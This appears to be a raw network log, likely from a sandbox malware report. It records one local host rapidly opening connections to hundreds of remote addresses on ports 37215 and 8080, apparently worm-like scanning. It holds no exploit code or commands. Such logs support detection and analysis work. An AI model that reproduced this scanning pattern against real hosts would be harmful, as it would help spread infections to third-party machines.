Dec 26, 2023 21:22:46.110399961 CET	45981	37215	192.168.2.23	41.5.9.48
Dec 26, 2023 21:22:46.110407114 CET	45981	37215	192.168.2.23	41.129.239.253
Dec 26, 2023 21:22:46.110410929 CET	45981	37215	192.168.2.23	41.65.7.217
Dec 26, 2023 21:22:46.110420942 CET	45981	37215	192.168.2.23	41.73.116.239
Dec 26, 2023 21:22:46.110420942 CET	45981	37215	192.168.2.23	41.198.171.245
Dec 26, 2023 21:22:46.110433102 CET	45981	37215	192.168.2.23	41.107.36.94
Dec 26, 2023 21:22:46.110444069 CET	45981	37215	192.168.2.23	41.250.85.28
Dec 26, 2023 21:22:46.110446930 CET	45981	37215	192.168.2.23	41.118.241.61
Dec 26, 2023 21:22:46.110452890 CET	45981	37215	192.168.2.23	41.164.102.50
Dec 26, 2023 21:22:46.110454082 CET	45981	37215	192.168.2.23	41.148.140.56
Dec 26, 2023 21:22:46.110472918 CET	45981	37215	192.168.2.23	41.16.108.154
Dec 26, 2023 21:22:46.110476017 CET	45981	37215	192.168.2.23	41.158.93.134
Dec 26, 2023 21:22:46.110481977 CET	45981	37215	192.168.2.23	41.9.111.192
Dec 26, 2023 21:22:46.110492945 CET	45981	37215	192.168.2.23	41.29.57.161
Dec 26, 2023 21:22:46.110492945 CET	45981	37215	192.168.2.23	41.194.246.244
Dec 26, 2023 21:22:46.110492945 CET	45981	37215	192.168.2.23	41.5.193.233
Dec 26, 2023 21:22:46.110492945 CET	45981	37215	192.168.2.23	41.1.153.208
Dec 26, 2023 21:22:46.110507965 CET	45981	37215	192.168.2.23	41.91.54.45
Dec 26, 2023 21:22:46.110507965 CET	45981	37215	192.168.2.23	41.85.5.230
Dec 26, 2023 21:22:46.110508919 CET	45981	37215	192.168.2.23	41.91.183.112
Dec 26, 2023 21:22:46.110511065 CET	45981	37215	192.168.2.23	41.136.105.253
Dec 26, 2023 21:22:46.110518932 CET	45981	37215	192.168.2.23	41.48.215.239
Dec 26, 2023 21:22:46.110533953 CET	45981	37215	192.168.2.23	41.83.159.8
Dec 26, 2023 21:22:46.110538006 CET	45981	37215	192.168.2.23	41.47.97.108
Dec 26, 2023 21:22:46.110544920 CET	45981	37215	192.168.2.23	41.246.197.167
Dec 26, 2023 21:22:46.110547066 CET	45981	37215	192.168.2.23	41.82.90.219
Dec 26, 2023 21:22:46.110555887 CET	45981	37215	192.168.2.23	41.89.147.249
Dec 26, 2023 21:22:46.110559940 CET	45981	37215	192.168.2.23	41.206.244.35
Dec 26, 2023 21:22:46.110562086 CET	45981	37215	192.168.2.23	41.204.84.117
Dec 26, 2023 21:22:46.110575914 CET	45981	37215	192.168.2.23	41.244.144.104
Dec 26, 2023 21:22:46.110584021 CET	45981	37215	192.168.2.23	41.139.246.235
Dec 26, 2023 21:22:46.110584974 CET	45981	37215	192.168.2.23	41.128.119.99
Dec 26, 2023 21:22:46.110595942 CET	45981	37215	192.168.2.23	41.4.139.1
Dec 26, 2023 21:22:46.110609055 CET	45981	37215	192.168.2.23	41.255.5.200
Dec 26, 2023 21:22:46.110609055 CET	45981	37215	192.168.2.23	41.152.83.125
Dec 26, 2023 21:22:46.110626936 CET	45981	37215	192.168.2.23	41.31.96.106
Dec 26, 2023 21:22:46.110635042 CET	45981	37215	192.168.2.23	41.245.112.139
Dec 26, 2023 21:22:46.110639095 CET	45981	37215	192.168.2.23	41.39.204.206
Dec 26, 2023 21:22:46.110646009 CET	45981	37215	192.168.2.23	41.162.113.187
Dec 26, 2023 21:22:46.110646009 CET	45981	37215	192.168.2.23	41.203.225.66
Dec 26, 2023 21:22:46.110647917 CET	45981	37215	192.168.2.23	41.99.164.82
Dec 26, 2023 21:22:46.110656977 CET	45981	37215	192.168.2.23	41.90.75.168
Dec 26, 2023 21:22:46.110663891 CET	45981	37215	192.168.2.23	41.192.185.23
Dec 26, 2023 21:22:46.110665083 CET	45981	37215	192.168.2.23	41.109.201.11
Dec 26, 2023 21:22:46.110682964 CET	45981	37215	192.168.2.23	41.89.67.6
Dec 26, 2023 21:22:46.110682964 CET	45981	37215	192.168.2.23	41.114.67.19
Dec 26, 2023 21:22:46.110685110 CET	45981	37215	192.168.2.23	41.90.23.211
Dec 26, 2023 21:22:46.110698938 CET	45981	37215	192.168.2.23	41.71.157.60
Dec 26, 2023 21:22:46.110704899 CET	45981	37215	192.168.2.23	41.20.168.84
Dec 26, 2023 21:22:46.110707998 CET	45981	37215	192.168.2.23	41.150.134.77
Dec 26, 2023 21:22:46.110713959 CET	45981	37215	192.168.2.23	41.96.207.130
Dec 26, 2023 21:22:46.110713959 CET	45981	37215	192.168.2.23	41.183.60.217
Dec 26, 2023 21:22:46.110724926 CET	45981	37215	192.168.2.23	41.167.179.23
Dec 26, 2023 21:22:46.110728979 CET	45981	37215	192.168.2.23	41.177.109.96
Dec 26, 2023 21:22:46.110729933 CET	45981	37215	192.168.2.23	41.137.148.221
Dec 26, 2023 21:22:46.110737085 CET	45981	37215	192.168.2.23	41.167.244.146
Dec 26, 2023 21:22:46.110740900 CET	45981	37215	192.168.2.23	41.21.132.1
Dec 26, 2023 21:22:46.114176989 CET	40030	80	192.168.2.23	88.85.89.10
Dec 26, 2023 21:22:46.132736921 CET	45469	8080	192.168.2.23	62.235.215.221
Dec 26, 2023 21:22:46.132745028 CET	45469	8080	192.168.2.23	94.93.197.135
Dec 26, 2023 21:22:46.132745028 CET	45469	8080	192.168.2.23	94.158.99.0
Dec 26, 2023 21:22:46.132750988 CET	45469	8080	192.168.2.23	94.103.71.183
Dec 26, 2023 21:22:46.132745028 CET	45469	8080	192.168.2.23	62.254.93.217
Dec 26, 2023 21:22:46.132745028 CET	45469	8080	192.168.2.23	95.82.150.108
Dec 26, 2023 21:22:46.132754087 CET	45469	8080	192.168.2.23	95.210.169.189
Dec 26, 2023 21:22:46.132754087 CET	45469	8080	192.168.2.23	31.244.180.215
Dec 26, 2023 21:22:46.132754087 CET	45469	8080	192.168.2.23	95.115.242.193
Dec 26, 2023 21:22:46.132754087 CET	45469	8080	192.168.2.23	62.98.170.82
Dec 26, 2023 21:22:46.132766962 CET	45469	8080	192.168.2.23	85.132.82.238
Dec 26, 2023 21:22:46.132766962 CET	45469	8080	192.168.2.23	85.174.241.38
Dec 26, 2023 21:22:46.132781029 CET	45469	8080	192.168.2.23	31.185.2.156
Dec 26, 2023 21:22:46.132781982 CET	45469	8080	192.168.2.23	95.133.39.29
Dec 26, 2023 21:22:46.132781982 CET	45469	8080	192.168.2.23	62.162.126.117
Dec 26, 2023 21:22:46.132781982 CET	45469	8080	192.168.2.23	94.160.90.51
Dec 26, 2023 21:22:46.132781982 CET	45469	8080	192.168.2.23	31.137.0.124
Dec 26, 2023 21:22:46.132785082 CET	45469	8080	192.168.2.23	94.0.186.56
Dec 26, 2023 21:22:46.132785082 CET	45469	8080	192.168.2.23	95.152.100.170
Dec 26, 2023 21:22:46.132785082 CET	45469	8080	192.168.2.23	31.177.134.235
Dec 26, 2023 21:22:46.132785082 CET	45469	8080	192.168.2.23	94.237.99.161
Dec 26, 2023 21:22:46.132790089 CET	45469	8080	192.168.2.23	94.218.6.87
Dec 26, 2023 21:22:46.132791996 CET	45469	8080	192.168.2.23	85.46.234.147
Dec 26, 2023 21:22:46.132801056 CET	45469	8080	192.168.2.23	94.117.49.205
Dec 26, 2023 21:22:46.132803917 CET	45469	8080	192.168.2.23	85.237.244.51
Dec 26, 2023 21:22:46.132803917 CET	45469	8080	192.168.2.23	95.63.101.159
Dec 26, 2023 21:22:46.132808924 CET	45469	8080	192.168.2.23	94.113.132.188
Dec 26, 2023 21:22:46.132811069 CET	45469	8080	192.168.2.23	85.238.133.178
Dec 26, 2023 21:22:46.132811069 CET	45469	8080	192.168.2.23	94.37.88.9
Dec 26, 2023 21:22:46.132813931 CET	45469	8080	192.168.2.23	95.95.61.56
Dec 26, 2023 21:22:46.132816076 CET	45469	8080	192.168.2.23	94.112.248.163
Dec 26, 2023 21:22:46.132816076 CET	45469	8080	192.168.2.23	62.191.73.106
Dec 26, 2023 21:22:46.132816076 CET	45469	8080	192.168.2.23	85.121.187.21
Dec 26, 2023 21:22:46.132816076 CET	45469	8080	192.168.2.23	85.140.221.177
Dec 26, 2023 21:22:46.132824898 CET	45469	8080	192.168.2.23	62.250.190.207
Dec 26, 2023 21:22:46.132827044 CET	45469	8080	192.168.2.23	85.194.208.78
Dec 26, 2023 21:22:46.132827044 CET	45469	8080	192.168.2.23	62.58.103.52
Dec 26, 2023 21:22:46.132841110 CET	45469	8080	192.168.2.23	62.38.125.194
Dec 26, 2023 21:22:46.132841110 CET	45469	8080	192.168.2.23	85.111.176.242
Dec 26, 2023 21:22:46.132842064 CET	45469	8080	192.168.2.23	31.198.81.136
Dec 26, 2023 21:22:46.132848978 CET	45469	8080	192.168.2.23	31.50.179.247
Dec 26, 2023 21:22:46.132863045 CET	45469	8080	192.168.2.23	85.255.37.252
Dec 26, 2023 21:22:46.132867098 CET	45469	8080	192.168.2.23	95.41.164.209
Dec 26, 2023 21:22:46.132867098 CET	45469	8080	192.168.2.23	31.12.84.199
Dec 26, 2023 21:22:46.132868052 CET	45469	8080	192.168.2.23	95.94.109.84
Dec 26, 2023 21:22:46.132872105 CET	45469	8080	192.168.2.23	31.175.40.62
Dec 26, 2023 21:22:46.132875919 CET	45469	8080	192.168.2.23	94.248.47.2
Dec 26, 2023 21:22:46.132883072 CET	45469	8080	192.168.2.23	62.25.155.236
Dec 26, 2023 21:22:46.132900953 CET	45469	8080	192.168.2.23	94.149.61.241
Dec 26, 2023 21:22:46.132903099 CET	45469	8080	192.168.2.23	85.150.47.32
Dec 26, 2023 21:22:46.132905960 CET	45469	8080	192.168.2.23	62.8.69.34
Dec 26, 2023 21:22:46.132921934 CET	45469	8080	192.168.2.23	62.239.172.28
Dec 26, 2023 21:22:46.132927895 CET	45469	8080	192.168.2.23	95.230.27.90
Dec 26, 2023 21:22:46.132929087 CET	45469	8080	192.168.2.23	85.16.194.96
Dec 26, 2023 21:22:46.132936001 CET	45469	8080	192.168.2.23	85.93.26.67
Dec 26, 2023 21:22:46.132949114 CET	45469	8080	192.168.2.23	62.70.247.30
Dec 26, 2023 21:22:46.132949114 CET	45469	8080	192.168.2.23	95.151.46.127
Dec 26, 2023 21:22:46.132966042 CET	45469	8080	192.168.2.23	94.207.222.141
Dec 26, 2023 21:22:46.132982016 CET	45469	8080	192.168.2.23	85.22.101.45
Dec 26, 2023 21:22:46.132991076 CET	45469	8080	192.168.2.23	95.103.93.176
Dec 26, 2023 21:22:46.132994890 CET	45469	8080	192.168.2.23	94.239.115.108
Dec 26, 2023 21:22:46.132994890 CET	45469	8080	192.168.2.23	31.249.53.225
Dec 26, 2023 21:22:46.133009911 CET	45469	8080	192.168.2.23	31.134.187.128
Dec 26, 2023 21:22:46.133009911 CET	45469	8080	192.168.2.23	95.2.172.143
Dec 26, 2023 21:22:46.133013964 CET	45469	8080	192.168.2.23	94.31.87.213
Dec 26, 2023 21:22:46.133018970 CET	45469	8080	192.168.2.23	95.121.192.252
Dec 26, 2023 21:22:46.133022070 CET	45469	8080	192.168.2.23	31.88.89.44
Dec 26, 2023 21:22:46.133022070 CET	45469	8080	192.168.2.23	95.87.158.203
Dec 26, 2023 21:22:46.133032084 CET	45469	8080	192.168.2.23	94.39.52.69
Dec 26, 2023 21:22:46.133032084 CET	45469	8080	192.168.2.23	94.19.210.81
Dec 26, 2023 21:22:46.133038998 CET	45469	8080	192.168.2.23	31.254.148.101
Dec 26, 2023 21:22:46.133042097 CET	45469	8080	192.168.2.23	95.64.58.14
Dec 26, 2023 21:22:46.133059025 CET	45469	8080	192.168.2.23	94.50.7.134
Dec 26, 2023 21:22:46.133080959 CET	45469	8080	192.168.2.23	31.229.56.243
Dec 26, 2023 21:22:46.133090019 CET	45469	8080	192.168.2.23	31.159.12.104
Dec 26, 2023 21:22:46.133094072 CET	45469	8080	192.168.2.23	85.228.222.46
Dec 26, 2023 21:22:46.133107901 CET	45469	8080	192.168.2.23	31.244.90.110
Dec 26, 2023 21:22:46.133107901 CET	45469	8080	192.168.2.23	31.131.244.208
Dec 26, 2023 21:22:46.133107901 CET	45469	8080	192.168.2.23	94.67.237.142
Dec 26, 2023 21:22:46.133107901 CET	45469	8080	192.168.2.23	62.233.218.26
Dec 26, 2023 21:22:46.133126020 CET	45469	8080	192.168.2.23	95.235.39.189
Dec 26, 2023 21:22:46.133126974 CET	45469	8080	192.168.2.23	85.88.199.98
Dec 26, 2023 21:22:46.133126020 CET	45469	8080	192.168.2.23	85.153.49.172
Dec 26, 2023 21:22:46.133126974 CET	45469	8080	192.168.2.23	62.90.63.154
Dec 26, 2023 21:22:46.133138895 CET	45469	8080	192.168.2.23	85.204.178.85
Dec 26, 2023 21:22:46.133152008 CET	45469	8080	192.168.2.23	95.13.38.69
Dec 26, 2023 21:22:46.133156061 CET	45469	8080	192.168.2.23	31.155.135.159
Dec 26, 2023 21:22:46.133162022 CET	45469	8080	192.168.2.23	31.198.142.205
Dec 26, 2023 21:22:46.133164883 CET	45469	8080	192.168.2.23	95.197.7.36
Dec 26, 2023 21:22:46.133179903 CET	45469	8080	192.168.2.23	62.170.150.130
Dec 26, 2023 21:22:46.133193016 CET	45469	8080	192.168.2.23	94.191.83.128
Dec 26, 2023 21:22:46.133209944 CET	45469	8080	192.168.2.23	31.160.141.50
Dec 26, 2023 21:22:46.133214951 CET	45469	8080	192.168.2.23	85.12.83.35
Dec 26, 2023 21:22:46.133228064 CET	45469	8080	192.168.2.23	95.221.101.154
Dec 26, 2023 21:22:46.133229971 CET	45469	8080	192.168.2.23	94.146.243.84
Dec 26, 2023 21:22:46.133238077 CET	45469	8080	192.168.2.23	62.212.126.179
Dec 26, 2023 21:22:46.133249998 CET	45469	8080	192.168.2.23	85.228.159.216
Dec 26, 2023 21:22:46.133250952 CET	45469	8080	192.168.2.23	85.0.93.7
Dec 26, 2023 21:22:46.133255959 CET	45469	8080	192.168.2.23	62.103.61.133
Dec 26, 2023 21:22:46.133269072 CET	45469	8080	192.168.2.23	62.248.71.168
Dec 26, 2023 21:22:46.133294106 CET	45469	8080	192.168.2.23	94.191.188.199
Dec 26, 2023 21:22:46.133295059 CET	45469	8080	192.168.2.23	85.33.251.33
Dec 26, 2023 21:22:46.133296967 CET	45469	8080	192.168.2.23	62.35.45.185
Dec 26, 2023 21:22:46.133302927 CET	45469	8080	192.168.2.23	31.138.48.66
Dec 26, 2023 21:22:46.133306980 CET	45469	8080	192.168.2.23	95.134.144.221
Dec 26, 2023 21:22:46.133322001 CET	45469	8080	192.168.2.23	95.170.142.190
Dec 26, 2023 21:22:46.133322001 CET	45469	8080	192.168.2.23	31.66.15.47
Dec 26, 2023 21:22:46.133337021 CET	45469	8080	192.168.2.23	94.45.151.196
Dec 26, 2023 21:22:46.133344889 CET	45469	8080	192.168.2.23	31.86.227.173
Dec 26, 2023 21:22:46.133344889 CET	45469	8080	192.168.2.23	94.108.227.39
Dec 26, 2023 21:22:46.133361101 CET	45469	8080	192.168.2.23	31.226.32.83
Dec 26, 2023 21:22:46.133361101 CET	45469	8080	192.168.2.23	85.48.250.182
Dec 26, 2023 21:22:46.133363962 CET	45469	8080	192.168.2.23	31.118.29.42
Dec 26, 2023 21:22:46.133369923 CET	45469	8080	192.168.2.23	62.52.224.235
Dec 26, 2023 21:22:46.133382082 CET	45469	8080	192.168.2.23	95.98.195.154
Dec 26, 2023 21:22:46.133392096 CET	45469	8080	192.168.2.23	95.34.185.15
Dec 26, 2023 21:22:46.133404016 CET	45469	8080	192.168.2.23	62.152.69.133
Dec 26, 2023 21:22:46.133418083 CET	45469	8080	192.168.2.23	95.179.18.46
Dec 26, 2023 21:22:46.133426905 CET	45469	8080	192.168.2.23	31.223.155.45
Dec 26, 2023 21:22:46.133430004 CET	45469	8080	192.168.2.23	62.215.191.191
Dec 26, 2023 21:22:46.133440018 CET	45469	8080	192.168.2.23	62.18.125.61
Dec 26, 2023 21:22:46.133444071 CET	45469	8080	192.168.2.23	85.159.141.239
Dec 26, 2023 21:22:46.133470058 CET	45469	8080	192.168.2.23	85.178.106.122
Dec 26, 2023 21:22:46.133470058 CET	45469	8080	192.168.2.23	94.236.13.243
Dec 26, 2023 21:22:46.133471966 CET	45469	8080	192.168.2.23	31.91.209.232
Dec 26, 2023 21:22:46.133491039 CET	45469	8080	192.168.2.23	62.13.94.190
Dec 26, 2023 21:22:46.133495092 CET	45469	8080	192.168.2.23	62.150.141.179
Dec 26, 2023 21:22:46.133497953 CET	45469	8080	192.168.2.23	95.67.151.33
Dec 26, 2023 21:22:46.133497953 CET	45469	8080	192.168.2.23	95.62.99.229
Dec 26, 2023 21:22:46.133512020 CET	45469	8080	192.168.2.23	85.240.136.133
Dec 26, 2023 21:22:46.133528948 CET	45469	8080	192.168.2.23	31.201.105.148
Dec 26, 2023 21:22:46.133533955 CET	45469	8080	192.168.2.23	94.152.171.27
Dec 26, 2023 21:22:46.133537054 CET	45469	8080	192.168.2.23	94.242.213.44
Dec 26, 2023 21:22:46.133538008 CET	45469	8080	192.168.2.23	85.237.69.151
Dec 26, 2023 21:22:46.133548021 CET	45469	8080	192.168.2.23	85.235.40.87
Dec 26, 2023 21:22:46.133548021 CET	45469	8080	192.168.2.23	85.62.7.150
Dec 26, 2023 21:22:46.133570910 CET	45469	8080	192.168.2.23	85.203.172.154
Dec 26, 2023 21:22:46.133573055 CET	45469	8080	192.168.2.23	85.94.39.169
Dec 26, 2023 21:22:46.133574009 CET	45469	8080	192.168.2.23	62.71.70.150
Dec 26, 2023 21:22:46.133577108 CET	45469	8080	192.168.2.23	85.66.166.203
Dec 26, 2023 21:22:46.133578062 CET	45469	8080	192.168.2.23	95.173.248.122
Dec 26, 2023 21:22:46.133601904 CET	45469	8080	192.168.2.23	62.156.226.169
Dec 26, 2023 21:22:46.133609056 CET	45469	8080	192.168.2.23	85.190.50.6
Dec 26, 2023 21:22:46.133621931 CET	45469	8080	192.168.2.23	31.196.245.220
Dec 26, 2023 21:22:46.133627892 CET	45469	8080	192.168.2.23	94.83.109.149
Dec 26, 2023 21:22:46.133645058 CET	45469	8080	192.168.2.23	31.53.42.90
Dec 26, 2023 21:22:46.133656025 CET	45469	8080	192.168.2.23	31.22.133.229
Dec 26, 2023 21:22:46.133666039 CET	45469	8080	192.168.2.23	62.55.247.74
Dec 26, 2023 21:22:46.133666039 CET	45469	8080	192.168.2.23	94.53.65.184
Dec 26, 2023 21:22:46.133686066 CET	45469	8080	192.168.2.23	85.154.46.76
Dec 26, 2023 21:22:46.133687973 CET	45469	8080	192.168.2.23	62.251.194.241
Dec 26, 2023 21:22:46.133708000 CET	45469	8080	192.168.2.23	62.194.81.211
Dec 26, 2023 21:22:46.133708000 CET	45469	8080	192.168.2.23	95.172.21.141
Dec 26, 2023 21:22:46.133709908 CET	45469	8080	192.168.2.23	94.183.49.156
Dec 26, 2023 21:22:46.133718014 CET	45469	8080	192.168.2.23	94.108.43.118
Dec 26, 2023 21:22:46.133723974 CET	45469	8080	192.168.2.23	31.1.209.237
Dec 26, 2023 21:22:46.133725882 CET	45469	8080	192.168.2.23	31.122.118.141
Dec 26, 2023 21:22:46.133730888 CET	45469	8080	192.168.2.23	95.161.132.222
Dec 26, 2023 21:22:46.133744955 CET	45469	8080	192.168.2.23	95.120.16.55
Dec 26, 2023 21:22:46.133744955 CET	45469	8080	192.168.2.23	31.46.233.101
Dec 26, 2023 21:22:46.133761883 CET	45469	8080	192.168.2.23	94.222.1.201
Dec 26, 2023 21:22:46.133766890 CET	45469	8080	192.168.2.23	31.193.174.118
Dec 26, 2023 21:22:46.133774042 CET	45469	8080	192.168.2.23	85.159.59.46
Dec 26, 2023 21:22:46.133794069 CET	45469	8080	192.168.2.23	62.157.41.175
Dec 26, 2023 21:22:46.133810043 CET	45469	8080	192.168.2.23	31.143.50.63
Dec 26, 2023 21:22:46.133810043 CET	45469	8080	192.168.2.23	95.225.61.172
Dec 26, 2023 21:22:46.133814096 CET	45469	8080	192.168.2.23	62.15.22.51
Dec 26, 2023 21:22:46.133815050 CET	45469	8080	192.168.2.23	95.68.162.29
Dec 26, 2023 21:22:46.133824110 CET	45469	8080	192.168.2.23	95.211.215.130
Dec 26, 2023 21:22:46.133833885 CET	45469	8080	192.168.2.23	85.212.38.84
Dec 26, 2023 21:22:46.133848906 CET	45469	8080	192.168.2.23	31.209.221.207
Dec 26, 2023 21:22:46.133848906 CET	45469	8080	192.168.2.23	31.212.53.109
Dec 26, 2023 21:22:46.133862972 CET	45469	8080	192.168.2.23	31.68.222.52
Dec 26, 2023 21:22:46.133872032 CET	45469	8080	192.168.2.23	94.64.114.80
Dec 26, 2023 21:22:46.133877039 CET	45469	8080	192.168.2.23	31.246.161.60
Dec 26, 2023 21:22:46.133883953 CET	45469	8080	192.168.2.23	85.47.247.6
Dec 26, 2023 21:22:46.133883953 CET	45469	8080	192.168.2.23	94.11.172.171
Dec 26, 2023 21:22:46.133892059 CET	45469	8080	192.168.2.23	62.62.240.251
Dec 26, 2023 21:22:46.133892059 CET	45469	8080	192.168.2.23	31.150.221.146
Dec 26, 2023 21:22:46.133904934 CET	45469	8080	192.168.2.23	85.224.2.167
Dec 26, 2023 21:22:46.133904934 CET	45469	8080	192.168.2.23	62.200.218.167
Dec 26, 2023 21:22:46.133908033 CET	45469	8080	192.168.2.23	62.238.5.156
Dec 26, 2023 21:22:46.133923054 CET	45469	8080	192.168.2.23	95.82.178.162
Dec 26, 2023 21:22:46.133925915 CET	45469	8080	192.168.2.23	95.123.153.224
Dec 26, 2023 21:22:46.133927107 CET	45469	8080	192.168.2.23	31.144.251.112
Dec 26, 2023 21:22:46.133948088 CET	45469	8080	192.168.2.23	95.36.241.34
Dec 26, 2023 21:22:46.133961916 CET	45469	8080	192.168.2.23	94.160.106.51
Dec 26, 2023 21:22:46.133963108 CET	45469	8080	192.168.2.23	85.4.233.128
Dec 26, 2023 21:22:46.133968115 CET	45469	8080	192.168.2.23	31.236.39.66
Dec 26, 2023 21:22:46.133975983 CET	45469	8080	192.168.2.23	94.95.227.35
Dec 26, 2023 21:22:46.133990049 CET	45469	8080	192.168.2.23	95.188.60.221
Dec 26, 2023 21:22:46.133990049 CET	45469	8080	192.168.2.23	85.226.204.154
Dec 26, 2023 21:22:46.133997917 CET	45469	8080	192.168.2.23	31.251.100.125
Dec 26, 2023 21:22:46.134008884 CET	45469	8080	192.168.2.23	31.103.80.182
Dec 26, 2023 21:22:46.134016991 CET	45469	8080	192.168.2.23	62.223.239.177
Dec 26, 2023 21:22:46.134017944 CET	45469	8080	192.168.2.23	62.161.92.45
Dec 26, 2023 21:22:46.134037971 CET	45469	8080	192.168.2.23	94.36.182.246
Dec 26, 2023 21:22:46.134040117 CET	45469	8080	192.168.2.23	94.253.131.238
Dec 26, 2023 21:22:46.134052038 CET	45469	8080	192.168.2.23	62.198.177.50
Dec 26, 2023 21:22:46.134056091 CET	45469	8080	192.168.2.23	85.29.9.43
Dec 26, 2023 21:22:46.134067059 CET	45469	8080	192.168.2.23	95.182.23.246
Dec 26, 2023 21:22:46.134078026 CET	45469	8080	192.168.2.23	62.13.220.219
Dec 26, 2023 21:22:46.134094000 CET	45469	8080	192.168.2.23	94.115.95.183
Dec 26, 2023 21:22:46.134104013 CET	45469	8080	192.168.2.23	94.89.85.173
Dec 26, 2023 21:22:46.134123087 CET	45469	8080	192.168.2.23	62.146.120.51
Dec 26, 2023 21:22:46.134131908 CET	45469	8080	192.168.2.23	95.119.171.26
Dec 26, 2023 21:22:46.134140968 CET	45469	8080	192.168.2.23	62.12.105.174
Dec 26, 2023 21:22:46.134150982 CET	45469	8080	192.168.2.23	85.118.208.75
Dec 26, 2023 21:22:46.134179115 CET	45469	8080	192.168.2.23	95.249.52.202
Dec 26, 2023 21:22:46.134186983 CET	45469	8080	192.168.2.23	62.123.230.60
Dec 26, 2023 21:22:46.134186983 CET	45469	8080	192.168.2.23	94.205.174.41
Dec 26, 2023 21:22:46.134215117 CET	45469	8080	192.168.2.23	95.41.170.72
Dec 26, 2023 21:22:46.134216070 CET	45469	8080	192.168.2.23	85.78.135.77
Dec 26, 2023 21:22:46.134227991 CET	45469	8080	192.168.2.23	85.16.47.0
Dec 26, 2023 21:22:46.134227991 CET	45469	8080	192.168.2.23	62.85.137.178
Dec 26, 2023 21:22:46.134237051 CET	45469	8080	192.168.2.23	31.182.250.192
Dec 26, 2023 21:22:46.134239912 CET	45469	8080	192.168.2.23	31.9.193.106
Dec 26, 2023 21:22:46.134248972 CET	45469	8080	192.168.2.23	62.210.207.158
Dec 26, 2023 21:22:46.134268045 CET	45469	8080	192.168.2.23	62.192.4.213
Dec 26, 2023 21:22:46.134283066 CET	45469	8080	192.168.2.23	31.34.42.195
Dec 26, 2023 21:22:46.134283066 CET	45469	8080	192.168.2.23	62.165.112.205
Dec 26, 2023 21:22:46.134284973 CET	45469	8080	192.168.2.23	94.240.212.244
Dec 26, 2023 21:22:46.134287119 CET	45469	8080	192.168.2.23	94.203.8.229
Dec 26, 2023 21:22:46.134305954 CET	45469	8080	192.168.2.23	85.65.223.219
Dec 26, 2023 21:22:46.134313107 CET	45469	8080	192.168.2.23	95.153.74.106
Dec 26, 2023 21:22:46.134313107 CET	45469	8080	192.168.2.23	62.243.76.34
Dec 26, 2023 21:22:46.134324074 CET	45469	8080	192.168.2.23	94.60.7.232
Dec 26, 2023 21:22:46.134325981 CET	45469	8080	192.168.2.23	85.205.63.112
Dec 26, 2023 21:22:46.134341955 CET	45469	8080	192.168.2.23	95.184.173.235
Dec 26, 2023 21:22:46.134346962 CET	45469	8080	192.168.2.23	31.216.157.43
Dec 26, 2023 21:22:46.134351969 CET	45469	8080	192.168.2.23	31.114.81.214
Dec 26, 2023 21:22:46.134361029 CET	45469	8080	192.168.2.23	95.215.119.84
Dec 26, 2023 21:22:46.134361982 CET	45469	8080	192.168.2.23	62.118.249.140
Dec 26, 2023 21:22:46.134365082 CET	45469	8080	192.168.2.23	31.200.25.15
Dec 26, 2023 21:22:46.134365082 CET	45469	8080	192.168.2.23	95.216.131.196
Dec 26, 2023 21:22:46.134373903 CET	45469	8080	192.168.2.23	94.149.177.243
Dec 26, 2023 21:22:46.134387970 CET	45469	8080	192.168.2.23	95.93.169.202
Dec 26, 2023 21:22:46.134392023 CET	45469	8080	192.168.2.23	31.135.91.50
Dec 26, 2023 21:22:46.134392023 CET	45469	8080	192.168.2.23	85.85.81.193
Dec 26, 2023 21:22:46.134408951 CET	45469	8080	192.168.2.23	94.205.46.69
Dec 26, 2023 21:22:46.134412050 CET	45469	8080	192.168.2.23	31.187.18.44
Dec 26, 2023 21:22:46.134418964 CET	45469	8080	192.168.2.23	62.74.85.109
Dec 26, 2023 21:22:46.134424925 CET	45469	8080	192.168.2.23	94.197.210.210
Dec 26, 2023 21:22:46.134438992 CET	45469	8080	192.168.2.23	94.215.128.225
Dec 26, 2023 21:22:46.134459019 CET	45469	8080	192.168.2.23	94.154.88.74
Dec 26, 2023 21:22:46.134474993 CET	45469	8080	192.168.2.23	95.112.202.12
Dec 26, 2023 21:22:46.134474993 CET	45469	8080	192.168.2.23	95.238.142.223
Dec 26, 2023 21:22:46.134479046 CET	45469	8080	192.168.2.23	95.11.127.196
Dec 26, 2023 21:22:46.134479046 CET	45469	8080	192.168.2.23	62.45.94.162
Dec 26, 2023 21:22:46.134497881 CET	45469	8080	192.168.2.23	85.94.136.239
Dec 26, 2023 21:22:46.134500027 CET	45469	8080	192.168.2.23	85.190.245.66
Dec 26, 2023 21:22:46.134507895 CET	45469	8080	192.168.2.23	85.6.118.89
Dec 26, 2023 21:22:46.134521961 CET	45469	8080	192.168.2.23	62.156.150.177
Dec 26, 2023 21:22:46.134526968 CET	45469	8080	192.168.2.23	62.122.27.234
Dec 26, 2023 21:22:46.134531021 CET	45469	8080	192.168.2.23	31.40.136.68
Dec 26, 2023 21:22:46.134551048 CET	45469	8080	192.168.2.23	85.211.11.65
Dec 26, 2023 21:22:46.134552002 CET	45469	8080	192.168.2.23	62.123.55.252
Dec 26, 2023 21:22:46.134562016 CET	45469	8080	192.168.2.23	94.205.147.163
Dec 26, 2023 21:22:46.134562969 CET	45469	8080	192.168.2.23	31.14.49.228
Dec 26, 2023 21:22:46.134573936 CET	45469	8080	192.168.2.23	94.147.93.250
Dec 26, 2023 21:22:46.134577990 CET	45469	8080	192.168.2.23	95.187.209.163
Dec 26, 2023 21:22:46.134581089 CET	45469	8080	192.168.2.23	94.192.106.190
Dec 26, 2023 21:22:46.134589911 CET	45469	8080	192.168.2.23	62.177.182.136
Dec 26, 2023 21:22:46.134603024 CET	45469	8080	192.168.2.23	62.8.181.29
Dec 26, 2023 21:22:46.134624958 CET	45469	8080	192.168.2.23	31.97.174.201
Dec 26, 2023 21:22:46.134640932 CET	45469	8080	192.168.2.23	94.159.225.222
Dec 26, 2023 21:22:46.134651899 CET	45469	8080	192.168.2.23	94.48.199.76
Dec 26, 2023 21:22:46.134653091 CET	45469	8080	192.168.2.23	85.212.178.45
Dec 26, 2023 21:22:46.134655952 CET	45469	8080	192.168.2.23	62.55.51.133
Dec 26, 2023 21:22:46.134663105 CET	45469	8080	192.168.2.23	95.93.93.64
Dec 26, 2023 21:22:46.134685040 CET	45469	8080	192.168.2.23	31.81.100.152
Dec 26, 2023 21:22:46.134685993 CET	45469	8080	192.168.2.23	85.176.46.10
Dec 26, 2023 21:22:46.134691954 CET	45469	8080	192.168.2.23	85.137.111.13
Dec 26, 2023 21:22:46.134705067 CET	45469	8080	192.168.2.23	85.41.193.92
Dec 26, 2023 21:22:46.134707928 CET	45469	8080	192.168.2.23	62.87.2.116
